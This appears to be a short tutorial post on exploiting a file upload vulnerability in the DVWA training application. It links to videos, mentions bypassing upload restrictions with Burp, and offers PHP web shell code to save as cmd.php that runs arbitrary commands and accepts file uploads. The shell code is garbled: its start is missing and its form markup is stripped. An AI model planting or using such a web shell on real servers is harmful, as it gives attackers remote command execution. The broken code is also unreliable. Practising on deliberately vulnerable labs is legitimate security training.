File upload vulnerability (PHP cmd shell)

Here is a video showing you how to upload a php based command shell as part of a file upload vulnerability on the vulnerable application called DVWA this can be downloaded from the following address: http://www.dvwa.co.uk/

Here is another video which shows the same method as above but additionally shows you how to bypass file type and size restrictions using a web proxy called Burp

Here is the code for a simple web shell that you can upload. Paste the code below in notepad and save as cmd.php

&1",$out);
		foreach($out as $o)
       		echo $o . "n";
	}
        else if(isset($_FILES['file']['tmp_name']))
        {
            $name = basename($_FILES['file']['name']);
            if(move_uploaded_file($_FILES['file']['tmp_name'], $_SERVER['TEMP']?$_SERVER['TEMP']:"/tmp" . "/" . basename($_FILES['file']['name']))) 
            {
                echo "";
            }
            else
            {
                echo "";
            }
            exit();
            
        }
	else
	{
?>















Upload!
Execute!